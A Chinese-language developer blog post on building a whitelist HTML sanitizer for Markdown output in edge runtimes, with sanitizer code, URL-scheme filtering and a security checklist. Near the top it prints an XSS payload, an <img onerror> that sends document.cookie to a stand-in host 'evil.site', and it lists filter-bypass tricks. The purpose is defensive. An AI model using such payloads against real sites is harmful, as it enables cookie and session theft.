把 Markdown 转成 HTML 只是第一步。真正的坑在于:Markdown 允许内嵌原始 HTML。

这是正常内容

<img src=x onerror="fetch('//evil.site?c='+document.cookie)">

marked 会原样输出这个 <img>。如果直接 innerHTML 或者返回给浏览器,Cookie 就没了。

常见但不完整的做法

❌ 用正则删 <script>

html.replace(/<script.*?<\/script>/gs, '');

绕过方法太多了:大小写、<scr<script>ipt> 嵌套、事件属性、javascript: 协议、<svg onload>。

❌ 只做转义

转义会毁掉 Markdown 的全部价值——你没法再写内联 HTML 的 <br>、<details> 了。

❌ 依赖 marked 的 sanitize 选项

老版本有这个选项,新版已移除,官方明确说消毒应该交给专门的库。

为什么不用 DOMPurify

DOMPurify 是浏览器端的事实标准,但它依赖 DOM 解析器。在 Cloudflare Workers 这类没有 DOM 的运行时里,要么引入 jsdom(几十 MB,不可能),要么放弃。

结论:在边缘运行时,自己写一个白名单消毒器更现实。

白名单消毒器的核心逻辑

思路很简单:逐字符扫描 HTML,只保留「标签名在允许列表里、属性名在允许列表里、属性值安全」的部分。

const ALLOWED_TAGS = new Set([
  'h1','h2','h3','h4','h5','h6','p','br','hr','strong','em','del','code','pre',
  'blockquote','ul','ol','li','a','img','table','thead','tbody','tr','th','td',
  'input','figure','figcaption','kbd','mark','details','summary',
]);

// 这些标签连内部内容一起丢掉
const DROP_CONTENT = new Set([
  'script','style','iframe','object','embed','link','meta','form','textarea',
  'button','svg','math','template','noscript',
]);

扫描时按标签处理:

export function sanitizeHtml(html) {
  let out = '';
  let i = 0;
  while (i < html.length) {
    const lt = html.indexOf('<', i);
    if (lt === -1) { out += html.slice(i); break; }
    out += html.slice(i, lt);              // 标签之间的文本原样保留(marked 已转义)

    const gt = findTagEnd(html, lt);       // 注意要跳过引号里的 >
    if (gt === -1) { out += '&lt;'; i = lt + 1; continue; }

    const raw = html.slice(lt + 1, gt);
    const tag = /^([a-zA-Z][a-zA-Z0-9-]*)/.exec(raw.replace(/^\//, ''))?.[1]?.toLowerCase();

    if (DROP_CONTENT.has(tag)) {           // script/style/iframe → 整段丢弃
      if (!raw.startsWith('/')) {
        const re = new RegExp(`</${tag}\\s*>`, 'ig');
        re.lastIndex = gt + 1;
        const found = re.exec(html);
        i = found ? found.index + found[0].length : html.length;
      } else i = gt + 1;
      continue;
    }

    // 只保留白名单标签,其余标签剥掉但保留其文本内容
    ...
  }
  return out;
}

属性过滤要单独做,重点拦这三类:

function isSafeValue(attr, value) {
  const v = String(value).trim();
  if (attr === 'href' || attr === 'src') {
    const lower = v.toLowerCase().replace(/[\u0000-\u0020]+/g, '');  // 去掉控制字符绕过
    if (lower.startsWith('javascript:') || lower.startsWith('vbscript:')) return false;
    if (lower.startsWith('data:')) {
      return attr === 'src' && /^data:image\/(png|jpe?g|gif|webp|avif);/i.test(v);
    }
    return true;
  }
  return true;
}

三个细节别漏:

  1. 属性名必须以 on 开头的一律丢弃(onclick、onerror、onload)
  2. javascript: 前可能插入控制字符,要先剥离再判断
  3. data: 只允许图片类型,data:text/html 是个经典陷阱

外链还要加一层

if (tag === 'a' && /^https?:\/\//i.test(href)) {
  tagHtml += ' target="_blank" rel="noopener noreferrer nofollow"';
}

noopener 防止 window.opener 被反向控制,nofollow 防止被垃圾外链利用。

「只有我能发文」不是安全策略

最常见的侥幸心理是:博客只有管理员能写,所以不用消毒。

但攻击面比想象中大:

  • 管理员账号被盗(弱密码、Cookie 泄露)
  • 数据库被注入或误导入他人内容
  • 未来加了评论、友链、导入功能
  • 复制粘贴的代码片段里自带 <script>

消毒是纵深防御的一层,成本很低,没有理由跳过。

顺带做掉的两件事

标题锚点与目录

const toc = [];
const withIds = html.replace(/<h([1-4])([^>]*)>([\s\S]*?)<\/h\1>/g, (full, level, attrs, inner) => {
  const text = inner.replace(/<[^>]+>/g, '').trim();
  const id = text.toLowerCase().replace(/[^\p{Script=Han}\p{L}\p{N}]+/gu, '-').slice(0, 60);
  if (Number(level) === 2 || Number(level) === 3) toc.push({ level: Number(level), id, text });
  return `<h${level}${attrs} id="${id}">${inner}</h${level}>`;
});

复制按钮与代码高亮

服务端只输出标准的 <pre><code class="language-js">,高亮和复制按钮交给前端渐进增强——这样即使 JS 加载失败,代码依然可读、可选中复制。

检查清单

  • Markdown 渲染后必须过白名单消毒
  • on* 事件属性全部丢弃
  • href / src 过滤 javascript:、vbscript:、非图片 data:
  • DROP_CONTENT 里的标签连内容一起删
  • 外链加 rel="noopener noreferrer"
  • 消毒逻辑写单元测试,把绕过手法都固化成用例

最后一条最重要:消毒代码一定要有测试,否则某次「顺手优化正则」就可能把防护改没了。